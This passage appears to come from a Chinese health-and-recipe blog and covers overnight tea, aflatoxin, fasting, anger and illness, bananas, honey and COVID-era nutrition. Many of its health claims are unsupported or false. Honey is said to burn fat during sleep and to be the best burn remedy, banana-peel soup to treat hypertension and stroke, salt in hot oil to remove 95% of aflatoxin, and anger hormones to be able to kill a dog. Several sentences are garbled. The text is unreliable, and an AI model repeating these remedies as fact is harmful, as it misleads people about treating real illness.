3、用不锈钢锅(砂锅更好)烧水,水开后,把莲藕、香菇、老姜(一块),

全部一起下到锅里,再倒1~2勺油(花生油、色拉油,或橄榄油、熟菜油均可)到汤里。

炖1小时以上,就可以了。

花生米大枣汤,具有降血压、降血糖、补肾、预防老花眼等功效。

经常食用,还可以补血活血、提高免疫力。

以后不要再单吃花生米了,加上大枣一起吃,好处太多了。

2021-01-19 / by / in
隔夜茶竟然是良药! 止痒 生发 除口臭 !

明目/隔夜茶/隔夜茶妙用/生发

一般人都认为隔夜茶不能喝,对隔夜茶的说法也是各说不一,而且比较“危言耸听”的说法是喝隔夜茶会得癌症,提起隔夜茶真是有点谈虎色变的感觉,其实这种说法是没有科学根据的。

隔夜茶之所以不宜用,是因为时间过久,维生素大多已丧失。但未变质的隔夜茶,在医疗上自有妙用。

一、抗癌、抗氧化

茶水放置时间长了会变为红褐色,这是由于茶多酚氧化成了红褐色的茶色素。研究表明,茶多酚和茶色素均有很强的抗癌、抗氧化作用。

二、止血

隔夜茶中含有丰富的酸素,可阻止毛细血管出血。如患口腔炎、舌痈、湿疹、牙龈出血等,均可用隔夜茶漱口治疗。疮口脓疡、皮肤出血也可用其洗浴。


茶壶

三、明目

隔夜茶中的茶多酚有抗菌消炎作用,如果眼睛出现红丝,可以每天用隔夜茶洗几次。

四、止痒

用温热的隔夜茶洗头或擦身,茶中的氟能迅速止痒,还能防治湿疹。

五、生发

用隔夜茶洗头,还有生发和消除头屑的功效。如嫌眉毛稀落,每天可用刷子蘸隔夜茶刷眉,日子久了,眉毛自然变得浓密光亮。

六、固齿、洁齿

茶水中的氟与牙齿的珐琅质钙化以后,会增强对酸性物质的抵抗力,减少蛀牙的发生;氟还能消灭牙菌斑,最好饭后两三分钟用茶水漱口。

七、除口臭

茶中含有精油类成分,气味芳香,清晨刷牙前后或饭后,含漱几口隔夜茶,可使口气清新,经常用茶漱口可消除口臭。


八、防晒

皮肤被太阳晒伤,可用毛巾蘸隔夜茶轻轻擦拭。因为鞣酸对皮肤有收敛作用,茶中的类黄酮化合物也有抗辐射作用。

九、去腥、去油腻

隔夜茶还有特强的除腥气和除油腻的功效,吃虾蟹后用来洗手倍感清爽。

十、通便

清晨起床后,喝一杯昨晚泡的隔夜凉茶,有通便、醒脑、减脂效果。

十一、治脚气

隔夜茶中所含的丰富物质,有治脚气的功效。

注意:使用隔夜茶,应以不变馊(变质)为度。夏季温度高,茶水易酸败变味,如果搁置了24小时以上,最好不喝,否则,会引起腹泻。

2021-01-19 / by / in ,
知道新冠病毒离开人体能活多久吗?外出头发是否会沾上病毒?(组图)

新冠病毒/中共病毒/戴口罩/勤洗手/头发/日常清洁/安全距离/传染病/双向防护

新冠病毒(中共病毒)在全球肆虐,给人类生命带来巨大威胁,使人感到不安和恐惧。

那么新冠病毒(中共病毒)离开人体还能存活多久?外出头发上会沾染到病毒或细菌吗?对于我们普通人来说,除了戴口罩,勤洗手,还能做些什么?


新冠病毒离开人体还能存活多久?

1.新冠病毒离开人体能存活多久?

经过大量的环境科学研究,调查一个人的飞沫,大量喷嚏污染某些物体表面,发现新冠状病毒在塑料表面存活的时间最长,可以达到三天。

一种常见的塑料矿泉水瓶,如果有新冠肺炎患者打个喷嚏在水瓶上,水瓶上的新冠状病毒就有可能存活三天。

这也就要求我们注意咳嗽的时候不要对着人,如果身边没有纸巾,自己实在憋不住,可以把上臂抬起来,向双臂肘内咳嗽,然后自己再对衣服做清洗或消毒处理。


咳嗽

2.外出时头发上会沾上病毒或细菌吗?

很多人可能会有疑问,外出时头发上会不会沾上细菌或病毒,回到家之后需不需要仔细洗头?

举个例子,在地铁里,如果遇到周围的人咳嗽,头发上可能会沾上一些病毒和细菌,但是病毒和细菌量是比较少的,同时地铁中容易通风,并且经常消毒,所以在临床中,还没有见到因为头发而感染新冠病毒的患者的。

总而言之,无论是洗头还是换衣服,这都是日常清洁的概念,它并不是防疫的关键问题。

在日常中,该换衣服的时候去换,该洗头的时候去洗头就可以了,并不需要我们为了防疫而特地增加洗头的频率。


安全距离

3.与别人离多远才不会感染呼吸道传染病?

当我们正常说话的时候,通过气流呼出的细小飞沫,究竟究竟能漂多远?

这是空气动力学的问题,一般情况下,大的,比较重的替代,会延长在身体前方一米左右的距离,个别小微粒漂浮的距离会比较长,可能在2-3米,甚至5米。

正因如此,西方国家设定两人之间的安全距离为6个英尺,即1.8米左右。这里的安全距离是指两个人都不戴口罩,正常说话,哪怕其中个人是传染病病人,相对另一个人来说,也是安全的。

应该是因为有所飞沫会落在身体一米之内的距离,两人保持中间一米,相对比较安全;

同时,如果对话的两人其中一方戴了口罩,尤其是传染病的患者,飞沫大部分就能被他的口罩遮住,另一个人自然就会更安全,如果对话的双方都戴了口罩,就可以实现双向防护。


洗手液

4.普通洗手液能洗掉病毒,细菌吗?

常见的洗手液分为两种,一种是卫妆准字,属于普通洗手液,还有一种是卫消准字,里面就包括特殊的消毒剂成分。

使用普通的洗手液洗手,通过机械的摩擦,起泡,包括12硫酸钠的皂化反应,即可去除掉手表面的油脂或沾染物,同时手表面的很多病毒就会变成沾染物直接洗掉,这样其实已经能够消除大量的风险。

如果使用的是含消毒剂的洗手液,能够进一步清洁双手,这种含消毒剂的洗手液的使用多见于高危环境下的医护人员等。

最后,还需注意充分地洗手,每次在流动水下洗半分钟以上,谨记“内,外,夹,弓,大,立,腕” 7字诀,不放过任何一个地方,将手洗干净。


洗手

1.内:手掌相对揉搓。

2.外:手心揉揉手背。

3.夹:掌心相对,手指交叉揉搓。

4.弓:弓起手指,双手互握,揉揉骨头突出部位。

5.大:一只手握住另一只手的拇指转动揉搓。

6.立:五指并拢,将指尖立于另一掌心处,旋转揉搓。

7.腕:一只手握住另一只的腕部,并旋转揉搓。

2021-01-18 / by / in ,
全球流行4种“轻断食”方法,适当“挨饿”7大好处,你知道吗?一起来看打开长寿的基因

健康/方法/合理/轻断食/新生儿疗法

听说过饿肚子健康养生疗法吗?作为一个健康新概念,“轻断食”近几年在全球流行,掀起一股风潮,据美国MSN网站的文章表明,再次让“轻断食”走进人们的视野。

但专家认为,合理地轻断食的确利于身体健康,但其中有很多学问,不要贸然尝试。

什么是“轻断食”?

轻断食也叫“间歇性断食”,是指有时正常吃,有时少吃。目前,全球流行的轻断食主要有:

1,隔日断食法

正常吃,隔天食量降到25%〜50%。

2,果蔬汁断食法

果蔬汁断食法 

1个月内选择不连续的2〜5天断食,只喝白开水,果蔬汁和蔬菜汤,每日转化控制在300〜500千卡。

3、5:2断食法

一周中有5天正常吃,其他不连续的两天为断食日,食量降到25%〜30%。

4,日内断食法

1天的16个小时中不吃东西,其余8小时正常进食。

哪些疾病与过度饱食有关?

感冒

有时候,吃多了,积了食,再受点风寒,很容易引起感冒。而感冒后,如果清一清肠胃,适度饿肚子,反倒容易痊愈。相反,若是一味想着补充营养,多吃点东西,好增加抵抗力,结果反倒会加重感冒。


感冒后,如果清一清肠胃,适度饿肚子,反倒容易痊愈

脾胃虚弱

大多数人都有脾胃虚弱的问题。脾虚胃寒,也都是饮食无度引起的。脾胃长期处于过劳的状态,得不到适当的休息,功能自然增加消退。久而久之,就变成脾胃虚寒的状态。

糖尿病,高血压,高血压,肾病,肝病,瘫痪,老年痴呆等疾病,都与饮食无节制有密切关系。

中医:五味过度损五脏

在众多古人的医书中,都将暴饮暴食,大鱼大肉称为“烂肠之食”。顾名思义,吃多了对身体健康的危害,不亚于砒霜之毒。

在《黄帝内经》『上古天真论』中,就告诉了后人,如要获得健康长寿,必须做到『食饮有节』;在『内经』全书中以有详细的说明,五味过度损五脏,烟酒其性猛烈,易耗散维持生命的元气。


五味过度损五脏

不食五谷,对芸芸众生来说,太过虚无缥缈,也不可行。但可以看到的是,少吃一点,吃到七份确实就健康身体的替代之一。

适当“挨饿”有什么好处?

1,减轻体重

研究表明,每周坚持2天轻断食,可降低过量者的体重,体脂率,腰臀比。秦鉴指出,其他男性在科学合理地限制饮食一周后,体重会下降5〜7公斤,女性下降3〜5公斤。

2,促进血液循环

发表在《上海中医药》杂志上的研究指出,轻断食有促进血液循环的作用,利于增强全身组织血氧供应。

3,帮助控制血糖

在《世界糖尿病杂志》上的研究指出,轻断食是一种安全的饮食干预,利于改善空腹血糖和餐后血糖水平。

4,预防老年痴呆

美国约翰·霍普金斯医学院研究发现,每周坚持两天轻断食,控制转移,导致大脑产生积极影响,预防阿尔茨海默症(俗称“老年痴呆”)和帕金森症。


预防老年痴呆

5,降低“坏胆固醇”

发表在《美国临床营养学杂志》上的研究表明,轻断食可降低“坏胆固醇”和甘油三酯水平,却不影响“好氧化物”水平。

6,疏解不良情绪

国外研究发现,52例糖尿病慢性疼痛的患者,在经历为期两周的断食疗法后,超过80%的人抑郁,焦虑程度得到缓解。

7,减少患癌风险

美国斯基德莫尔学院研究发现,轻断食利于降低身体氧化应激水平,而氧化应激水平和糖尿病,癌症和癌症等慢性病的发生,发展密切相关。

适当饿肚子,才能保持全身经络通,气血活,组织器官功能旺盛,从而实现长寿的目标。富饥饿精神,穷养身体,这是现代人养生的不二法门。

2021-01-18 / by / in
牛肉包子 掌握三个蒸包子的技巧 失败变成了不可能(视频)

牛肉包子/包子

包子虽然好吃,但是自己动手去做往往都是失败而收手,那么今天和大家分享包包子的技巧,也就是掌握三个要点,失败就变成了成功,快动手一起来学吧。

现代人做发面使用的都是超市买的发酵粉,而非60-70年代的纯天然面引子,因此就存在一个问题:面发不起来。其实用发酵粉无论是蒸包子还是馒头都是有技巧的,主要是三个方面,一包子包好后需要进行二次饧发,二是凉水上锅,最后是蒸好后不能马上掀开锅盖,需要焖制5分钟。

材料:

和面:

中筋面粉450克 (3cups);水250克(30度左右)、酵母粉6克、糖1/2茶匙

馅:

牛肉馅500克;两根胡萝卜;1个洋葱;10克姜;一茶匙食盐;一汤匙香油;一汤匙蔬菜油;2汤匙料酒;2汤匙生抽;适量葱花儿;花椒大料水适量,胡椒粉少许,

做法:

1. 将和面的所有材料放在一起翻拌均匀后饧面。

2. 肉馅中放入糖,盐,生抽,胡椒粉,油,花椒大料水搅拌均匀,然后在下入葱末翻拌均匀即可。

3. 包子包好后,凉水上锅,待开锅后大火蒸15分钟即可。

2021-01-17 / by / in ,
重磅提醒 | 它的毒性是砒霜的68倍,还致癌!你也许每天都在吃 两个小技巧能减轻危害!(组图)

致癌/黄曲霉/变质米饭/花生/砒霜

据研究发现1毫克黄曲霉素,就是致癌剂量,黄曲霉毒素有毒,对人类造成严重的健康威胁。

黄曲霉毒素,是一种毒性极强的剧毒物质,其毒性是砒霜的68倍,是氰化钾的10倍,对肝脏组织的破坏性极强。

致癌!

它还是我们所知的最强的生物致癌剂,1毫克就是致癌剂量。 1993年它就被世界卫生组织(WHO)的癌症研究机构划定为1类致癌物。

最让人无奈的是,这种剧毒致癌物就存在于我们的日常生活中。

小心!这些食物里都藏着黄曲霉素!

1,发霉的花生玉米

黄曲霉素藏在发霉的食物里,特别是淀粉含量高的食物里,花生、玉米等,淀粉在高温和潮湿的环境下会滋生导致肝癌的黄曲霉菌。我们常吃的大米、小米、豆类,尤其是在高温湿润的环境下,一旦霉变也会陷入它的魔爪。

建议:

1、每次少买点,不要“存”,以免霉变。

2、因为黄曲霉菌以孢子形式传播,食物容易牵连霉变,而且黄曲霉素在水中的溶解度较低,处理起来也比较麻烦。如果您发现有一颗花生坏了,那一碗花生米,或者是存放的一袋子的花生米都得扔掉。

3、家里有食物残渣的边边角角也要清洗干净。


花生

2,变质的米饭

别以为做熟了就能放松警惕,变质的米饭是最容易产生黄曲霉毒素的!

建议:做饭菜,吃多少、做多少,最好当天吃完,不留剩饭菜。


米饭

3,发苦的坚果

瓜子中最大的安全风险来自霉菌,比如致癌的黄曲霉毒素。

如果吃到变苦的瓜子,一定要及时吐掉并且漱口,因为瓜子等坚果的苦味正是来自霉变过程中产生的黄曲霉毒素,经常摄入会增加肝癌风险。

建议: 吃到霉变的、发苦的坚果千万别犯懒,一定要马上吐出来。


核桃

4,没洗干净的筷子

很多家庭也都有这个习惯,筷子用到细缝发黑都不舍得扔掉,洗碗布也完全没有形状了,还在努力服役

而年轻人的早期肝癌可能跟我们使用的筷子有关。筷子本身并不会长黄曲霉菌,但我们平时使用来吃花生、玉米等淀粉含量高的食物的筷子里最容易藏淀粉,一来二去霉变了,黄曲霉素就藏在里面了。

裸筷子、漆筷子都容易开裂藏食物残渣而产生黄曲霉素。

建议:

1、最佳选择是铁筷子,很难出裂痕,也就不会有食物残渣。

2、平时洗筷子的时候要记得先泡一泡,软化上面的食物残渣,以便容易清洗掉。


筷子

5,劣质芝麻酱

你爱吃的芝麻酱、花生酱,有些商家为了降低成本,用糠芝麻、瘪花生甚至变质的芝麻、花生做原料,其中变质的花生中含有黄曲霉毒素。而且这种加工后的产品,可比发霉花生难识别多了。


芝麻酱

6,小作坊自榨油

去壳的花生直接堆在店里,裸露在空气中

一些油料作物如花生、玉米等在储存过程中如果发霉,榨得的油中还可能带入黄曲霉毒素。
有的花生外表正常,但内部已出现黄曲霉素,而小作坊的压榨机或家用榨油机工艺简单,缺乏除去有害物质工艺,不能对原材料进行精炼,即使自己选料,也可能会出现农药残留、重金属污染问题,以及存在高致癌物黄曲霉毒素问题。


7,久泡的木耳

很多人应该都听过这条一度很火的新闻,浙江瑞安的一位消费者因为食用泡发了三天的黑木耳,导致食物中毒,出现多脏器功能衰竭,一度生命垂危。

接诊医生给出的诊断是,很可能是微生物毒素造成的后续严重后果。但木耳在泡发过程产生何种细菌或毒素,需要进行进一步的检测和判断。可能有哪些微生物毒素呢?譬如黄曲霉毒素、青霉毒素等。


黑木耳

生活竟然这么不安全? !很多人就说了,我在锅里好好地蒸煮食物不就可以“消毒”了。

可还真不是这样的。一般烹调加工温度不能将黄曲霉素破坏,因为黄曲霉素裂解温度为280℃。只有达到280℃的时候,才能灭活,一般的烹饪方法都不能消毒。

连消毒碗柜都不行,黄曲霉素对紫外线有抵抗力。怎么办?

除了前文提到的几个建议,再提供了两个小技巧:

1、油热了先加盐

做菜之前的一个小动作就能帮消除一定量的黄曲霉素。如果我们在花生油等食用油倒入锅里加热后,并放入少量食盐,搅拌10~20秒,这样基本上就能消除大部分的食用油里的黄曲霉素。食盐对黄曲霉素的中和和降解,大概能消除95%的黄曲霉素。

2、多吃点绿叶蔬菜

多吃绿叶蔬菜可以让我们平时不小心吃下去的黄曲霉素失效一部分,因为叶绿素能够阻止黄曲霉素吸收,预防肝癌。

2021-01-17 / by / in
腊八粥 流传两千年的习俗与人们对释迦的归心

腊八粥/腊八

腊八粥又称七宝五味粥,是由多样食材熬制而成的粥,腊八粥是腊八节的一种习俗,今年的1月20号又是腊八节了,但是关于腊八粥的来历还是有着各种各样的说法。

相传,释迦佛祖放弃了至尊的王位出家修行,寻求人摆脱生老病死的办法。苦行中每日仅食一麻一米,终因饥饿晕倒在人烟荒僻的河边。一个牧羊女看到了,她把各种杂粮混合在一起,又采集野果,用泉水煮成粥喂他,终于把他救活了。释迦恢复体力后,在菩提树下坐了七七四十九天开悟。

这一天正好是腊月初八,后世的佛教徒为了纪念佛祖的艰苦修行得道和牧羊女救佛祖的功绩,便在每年的腊八用米和果物煮粥供佛,布施众生。这种粥也被称为“腊八粥”,至今已经流传了两千多年了。

一碗丰富的腊八粥蕴含着温暖、圆满、营养、吉祥、和谐、欢喜和感恩。腊八粥讲究选用八种主料,八种佐料,与腊八的八相吻合,意喻吉利。

材料:

大米1汤匙,糯米1汤匙,紫米1汤匙,小米1汤匙,高粱米1汤匙,玉米碴1汤匙, 薏仁米1汤匙, 藜麦1汤匙,红豆1汤匙, 绿豆1汤匙,红枣1汤匙,莲子1汤匙,花生1汤匙,核桃仁1汤匙, 黑芝麻1汤匙,桂圆6个

做法:

1. 红豆绿豆提前洗净浸泡一宿,其他食材全部淘洗干净

2. 锅里放水,水开后将各种材料放到锅里煮,开锅后转小火慢慢煮,适当的用勺子转圈搅动锅底,以免粥变浓稠后糊锅底。煮至粥变得浓稠即可。

*小贴士*

1. 腊八粥种类多,需要浸泡的提前泡好,可以节省煮的时间。

2. 可以将不容易熟的先煮,然后再加入各种各样的米。芝麻,核桃和桂圆等可以等到快熟了的时候再放。但如果没有时间一次都放入也可以。

3. 没有时间的话可以用高压锅煮,但小火慢慢熬煮是最好的。

2021-01-16 / by / in

百病生于气/生气/发脾气/身体的激素/情绪影响健康

情绪对一个人的健康太重要了,据了解人体处于不同情绪,而会从人体内所流淌的血液的浓度和人体所分泌的激素是完全不同,从而使身体反应出不同的状况。

在现实生活中,大家一定看到过这样的一些情形,某某由于和老婆吵架后,由于老婆的对他的辱骂,他情绪过于激动,导致血压过高,最后不省人事;某某听说自己的女儿在外地失踪,由于担心女儿的安危,整晚非常担心,白天未食夜不能眠,早上起床头发全白;某某由于受不了刺激,导致心脏病复发,最后不治而亡等等,这些案例都说明一个问题,情绪对人的健康影响非常大!对于人体本身来说,那这到底是什么原理呢?

其实当人体处于不同情绪下,人体内所流淌的血液的浓度,人体所分泌的激素是完全不同的,比如当一个人处于开心状态的时候,人体分泌的激素对人体是正常的,不会造成影响,然而当人处于生气,愤怒的时候,你身体分泌的激素就会有害,不仅会伤身体,也会造成身体器官的损害。有句话说的还是有根据的,当你愤怒的时候,你身体的激素产生的毒性足以杀死一条狗!


生气

《黄帝内经》早就说过“百病生于气也”,爱生气的人很难健康,更难长寿。由于生活的压力和个人心态的差别,很多人都会有怨气、闷气、怒气等等,却不知“生气”会给你带来很多的疾病。

生气所导致的疾病,到底发病率有多高呢?美国亚特兰大疾病控制中心研究发现,90%的疾病都和情绪有关。所以这也是老人们老话儿常说的“病由心生”。不生气就不会生病,少生病,不作死就不会死。

心理和生理本是同根而生的孪生兄弟,生气不仅会带来强烈的生理变化,而且其产生的激素比任何情绪都复杂,且具有毒性。

生气后身体8大器官变化

1. 心脏血流增加一倍

研究发现,生气时心脏血流比平时增加了一倍!生气时心脏的收缩力加强,心跳加速,大量的血液涌向心脏,心脏则需要加倍工作,这时就会出现心率不齐、心肌缺血、胸闷、心慌甚至诱发心绞痛和心肌梗塞。

2. 肝脏比平时大了一圈

生气后,最先伤的就是肝脏!所谓“气大伤肝”,如果经常生气,就会出现肝病、甚至是肝硬化。也有研究显示,生气时肝脏要比平时大了一圈。而在中医看来“怒伤肝”,生气导致肝气郁结、肝胆不和,很多人生完气后都会出现“两肋疼痛和肝区疼痛”。

3. 免疫系统罢工6小时

生气也会损伤免疫系统?没错,人的情绪是由大脑分泌的多巴胺控制着,作为激素,多巴胺会影响身体其他很多激素的分泌。我们生气时,大脑会命令身体分泌一种皮质激素,这种激素如果在体内积累过多,就会阻碍免疫细胞的运作,让身体抵抗力下降。所以生一次气,免疫系统罢工6小时毫不夸张。


生气

4. 生气时肺泡不断扩张

很多人在最生气时肺部会疼,这是因为生气也真的会伤肺。人在情绪冲动时,呼吸就会变得急促,甚至会出现过度换气的现象。这时肺泡就会不停扩张,没有时间收缩,所以很多人肺部会疼。这也是为什么常会有人在生气时说“肺要气炸了”。所以很多人常说一句话“心痛得无法呼吸”,其实不是心,而是“肺痛得无法呼吸”。

5. 生气时肠胃功能紊乱

你生气时,胃也会生气!这是因为胃部血流量减少,供血量不足,胃肠蠕动困难,引发胃肠“消极怠工”。生气还会引起交感神经兴奋,导致胃肠血流量降低,蠕动减速,食欲不振,引起肠胃功能紊乱、胃溃疡等。

6. 生气后乳房出现肿块

很多女人生气后乳房会出现肿块,这是由于情志内伤导致的肝郁痰凝造成的,也和生气有着密不可分的关系。另外,生气导致的气血瘀滞、肝脾失调,也是导致乳房肿块发生的重要原因。

7. 生气时甲状腺会分泌过多激素

生气时会令内分泌系统紊乱,使甲状腺分泌的激素过多。甲状腺是身体中参与新陈代谢的重要器官,当你感觉到热血沸腾的时候就是甲状腺受到刺激了,久之就会引发甲亢。

8. 一生气皮肤会长色斑

美国的医学人员对5000名脸上长色斑的女性研究显示,当她们处在情绪的低谷时,任何药物对色斑的治疗都显得不尽如人意,而当其中一些女性的人际关系得到改善时,她们的色斑可以不治自愈。

医学人员分析道,当人生气时血液大量涌向脸部,这时的血液中氧气少、毒素增多。而毒素会刺激毛囊,引起毛囊周围程度不等的深部炎症等皮肤问题。

最后,提醒大家,能不生气就不生气,心胸要开阔一些,天大的事最后都能解决,生气无济于事,还伤人伤己。或者通过转移注意力,先让脾气过去再处理问题。

1、生气易导致胃病

如果经常生气,心情抑郁,生气会引起交感神经兴奋,并直接作用于心脏和血管,使胃肠中的血流量减少,胃肠蠕动减慢,食欲变差,进食减少,严重时还会引起胃溃疡,胃酸会刺激胃黏膜损伤出现胃炎,导致胃痛,消化不良,这种情况也会引起肝气不舒,胃气逆行出现胃胀,食欲不好,加重病情。

2、生气会导致乳腺增生

爱生气的人容易情志不畅,肝气郁结,使得肝失条达,气血周流失度,循经流注乳房,凝滞结块而成乳癖。所以生气也是乳腺增生的原因,这也就意味着爱生气的人容易得乳腺增生,也意味着如若一个乳腺增生患者不改改自己的脾气,将因生气而导致乳腺增生更为严重。


生气

3、生气会加速脑细胞衰老

当生气后,会使脑血管压力增加,这时血液中含有的毒素最多,氧气减少,对脑细胞来说不亚于一剂毒药,会造成部分脑细胞衰老和受损。

4、生气会导致头晕头痛

因为生气导致肝气上逆,毒素激素的分泌,人体带着血液中有毒的激素大量通过血液涌向大脑,会造成脑部缺氧,导致头晕头痛或者休克等症状。

5、生气会导致失眠

人的精神情绪,与气血关系最为密切,气血顺畅,则情绪平和,心情舒畅。生气会导致气血流通不畅,肝气上逆,人生气就会导致人的大脑细胞受到情绪和激素的刺激,就会失眠多梦,心情烦躁等。

最近公布的一项新研究成果显示,脾气暴怒的男人容易猝死 ,脾气暴怒的男人不仅容易发生中风,也容易发生猝死。而且,这些人所面临的危险比那些所谓A型个性的人还要大。这项研究还发现,爱发脾气的女性却不会因此而面临较常人要大的中风或心肌梗死的危险!

我们会生气,不是这件事情让我们生气,而是我们的观念让我们生气。举个例子来说,一个人出生在沙漠,他对下雨就会特别期待,看到下雨天就会很开心。而一个人出生在南方,下雨天他就很讨厌,同样是下雨,他们的反应却不同,那是因为他们内心对下雨这件事的看法不同。

生活中也一样,我们改变不了发生的事情,但是我们可以改变自己对这件事情的看法,达到让自己心平气和,不生气就是爱自己,对自己的健康负责!

2021-01-16 / by / in
保持每天吃2根香蕉 30天后人体将出现惊人变化

血糖/香蕉/抗氧化剂/排便/血压

各种水果在生活中都是人们的最爱,特别生活在美国的人最爱吃的水果就是香蕉,而不是苹果、不是橘子、也不是西瓜。

香蕉皮上的黑色斑点代表什么你知道吗?

每天吃一根香蕉的好处有多大你知道吗?

香蕉,虽然不能包治百病,但是它确实能够直接帮助我们心、脑问题,并且要选择表皮有少量斑点的香蕉!

抗氧化剂食物排名榜榜首,能提高免疫力

香蕉,从属性来说,与草莓、葡萄、猕猴桃是亲戚,都属于浆果。浆果的定义,是由单一一朵花和单一的子房(相当于女性的卵巢)发育成的水果。而浆果,在美国公布的“抗氧化剂食物排名榜”中位居榜首。以香蕉为例,它富含能刺激免疫系统和白细胞的成分。选择少量表皮有黑色斑点的香蕉,它们口感更好,甜度更高,更容易吸收。

香蕉不仅味道甜美,而且富含多种营养素、自然糖分、维生素和纤维。每天吃两根蕉,一个月后,你的身体很可能出现以下变化。

香蕉

身心:体力充沛,精神焕发

香蕉以钾元素含量较高而著称,对提供、恢复能量有奇效。两条香蕉,可以提供足够能量维持90分钟剧烈的运动,难怪很多知名运动员都以它为首选水果。

香蕉中有色氨酸,能有效治疗抑郁症状。当人体吸收色氨酸后,它会转化为血清素,血清素能令人放松和快乐。

消化道:肠胃改善,排便顺畅

吃香蕉能缓解便秘,不需要过多科学理论验证,这是许多人实践得出的结论。

另外,胃痛、胃溃疡、胃酸反流的患者也可以吃香蕉。香蕉里有许多天然抗酸元素,可缓解胃灼热和胃酸反流等;其松软的组织有助于覆盖胃粘膜,避免受腐蚀酸等物质刺激。胃不舒服的症状,吃香蕉后很可能会消失。

心血管:降低血压,增强心脏

香蕉有助于降低体内的钠元素(来自于过量摄入的食盐等饮食)水平,调节高血压。

另外香蕉中富含的钾元素有助于增强心脏,能预防心脏病与中风等严重后果。

营养与免疫:缓解贫血,避免感冒

香蕉富含多种营养素,其中关键的一种是膳食铁元素,通过补铁能促进血红细胞和血红蛋白的产生,加强供血,缓解贫血,并且促进营养输送到全身。

另外,吃香蕉还有助于调节体温,无论秋冬发热、发烧,或者夏季气温炎热,吃它都有裨益。


每天两根香蕉

神经系统:强化神经,经期调节

吃香蕉能够维持血糖正常,从而缓和神经系统,有镇定意识、放松身体的功效。这归功于香蕉中的维生素B族,因此,通过神经系统强化和放松,它也能改善情绪和减低压力。

女性吃香蕉另有好处,就是能缓解“经前症候群”。

巧用香蕉,原来有这么多用处!

高血压

取香蕉皮30克~60克,煎汤服用,可治高血压。

巧防中风

取鲜香蕉皮30克煎汤代茶饮,能扩张血管,防治中风和心绞痛。著名医学杂志The New England Journal ofMedicine的研究指出,长期吃香蕉,中风死亡的机会率大大降低40%。

治瘊子

用香蕉皮敷在疣(俗称​​瘊子)的表面,使其软化,并一点点地脱落,直至痊愈。用这个方法可将头及脸部的瘊子治好。用香蕉皮多次敷,用手指一点点捏掉,治好后再不复发。

宿醉

香蕉加蜜糖可以实时解酒。香蕉松驰胃部,蜜糖提升血糖水平,舒缓精神。

蚊钉虫咬

用香蕉皮内部轻擦患处,可退肿消炎。

胃溃疡

香蕉是调理肠胃失调的食方,因为香蕉有着柔软的纤维而且柔滑。对于长期患者来说,香蕉是唯一可以进食的未煮熟食物,而不会有不良反应。香蕉还可以中和胃酸和减少疼痛。

戒烟

香蕉可以帮助戒烟。香蕉含维生素B6和B12,也含钾和镁,可以复元戒烟者因为没有了尼古丁刺激的影响。


香蕉

缓解眼睛干涩

在计算机前工作的人常会觉得眼睛干涩或疼痛,如果每天吃一根香蕉,就能起到一定的缓解作用。这是因为香蕉中含丰富的钾。

人体摄入盐份过多,会导致细胞中存留大量的水分,引起眼睛红肿。香蕉中的钾可以帮助人体排出这些多余的盐分,让身体达到钾钠平衡,缓解眼睛的不适症状。

2021-01-15 / by / in
科学家证实蜂蜜的10大真相!吃了这么多年竟然才知道!

体内脂肪/蜂蜜/抗氧化剂/心血管 脂肪堆积

很多人可能还不知道蜂蜜的真正作用,今天分享给大家蜂蜜食用的十大真相。

1、蜂蜜是一种非常稳定的物质,如果妥善保存,可以几百年不变质,营养也不会流失。

2、蜂蜜可以减少心血管系统的脂肪堆积。

3、蜂蜜是唯一一种非人工制造的甜味剂。

4、蜂蜜不会像经过提炼的糖和蔗糖那样在胃里发酵,因此不会有被细菌感染的风险。


蜂蜜

5、蜂蜜可能是糖类中最简单的分子形式,因此无法继续分解。这使它可以直接通过小肠进入血液,不会像蔗糖那样引起消化系统问题。

6、蜂蜜可以在人睡觉时燃烧体内脂肪。睡前一杯蜂蜜水,能有效帮助减重。

7、蜂蜜是治疗烧伤的最好物质。蜂蜜可以有效缓解疼痛,使患处快速康复,而且不会留下疤痕。

8、科学家在蜂蜜里已经发现了多种抗氧化剂,其中一种抗氧化剂只存在于蜂蜜中,有很好的抗衰老作用。


蜂蜜

9、蜂蜜是治疗小儿咳嗽的既安全又有效的食品。

10、锻炼前后吃点蜂蜜的人,比不吃蜂蜜的人体能恢复快3倍。

2021-01-15 / by / in
疫情当下好好吃饭!这4种营养素值得关注(组图)

营养素/免疫力/维生素D/晒太阳/维生素C/新鲜蔬菜水果/硒/锌/海鲜动物内脏/坚果

过年华人的传统节日已临近,中共病毒在全球一再猖狂,人人绷紧神经来应对风险,疫苗据研究指出不能100%防止接触病毒时的感染。

在这一年,大量的营养学研究也在开展,努力寻找营养素与免疫力之间的关系。


营养饮食

食物是健康的基础,充足的能量、充足的优质蛋白质都是免疫力的必要保障。

除了占比最大的三大营养素,还有哪些营养素能够增加机体的免疫力?吃什么能有效补充?

维生素D,确实与对抗新冠肺炎有关系,保持VD的摄入很关键。

相关研究:

有研究发现,印度尼西亚新冠肺炎的死亡率增加与维生素D缺乏有关。

一项涵盖了360972名新冠肺炎患者的荟萃分析发现,患者中有37.7%的人维生素D缺乏。

维生素D水平低的患者患新冠肺炎病的风险显着增加。

充足的维生素D可以通过增强物理屏障和增加肺上皮中抗菌肽的产生,来防止冠状病毒入侵。

如何获得

要安排晒晒太阳哟!


晒太阳

日光照射是获得维生素D的主要来源,占体内维生素D的78%~80%。研究表明,1平方厘米的皮肤,中等强度阳光照射10分钟,即可产生1U的维生素D,我们每天至少需要400UI。

因此,每天参与户外活动,晒晒太阳,能够很好地补充维生素D。

但是,毕竟冬天包裹的很严实,病毒肆虐又不敢轻易出门,晒太阳的机会非常少。

所以,可以适量服用维生素D补剂。

大多数天然食物中维生素D含量低,动物性食物中只有脂肪高的海鱼、动物肝脏、蛋黄中有相对含量较高的维生素D3,很容易摄入不足。

那么可以考虑营养素补充剂,一天400-1000UI的剂量都可以接受,不建议再多。

维生素C是一种被研究的比较透彻的营养素,在果蔬中分布也比较广泛,即便是提取制作维生素C片,成本也很低。

针对日常新鲜食物摄入比较多的人来说不成问题,但对于经常叫外卖、吃深加工食品的人来说,还是要多留意补充。


维生素C

相关研究:

一定剂量的维生素C,有一定的抗病毒作用。

一项荟萃分析表明,在普通感冒发作时给予高剂量的维生素C可以缩短感冒的持续时间,缓解症状,如胸痛、发烧和寒战。

大剂量维生素C的静脉治疗对脓毒症和脓毒性休克具有有益的效果。

一名74岁的新冠肺炎妇女出现了急性呼吸窘迫综合征和脓毒性休克。患者接受了大剂量静脉注射维生素C (11克/天,持续10天)治疗,恢复速度加快。

如何获得

维生素C的主要食物来源是新鲜蔬菜水果。

每天保证300-500g蔬菜、250-400g水果,是非常有效的饮食策略。

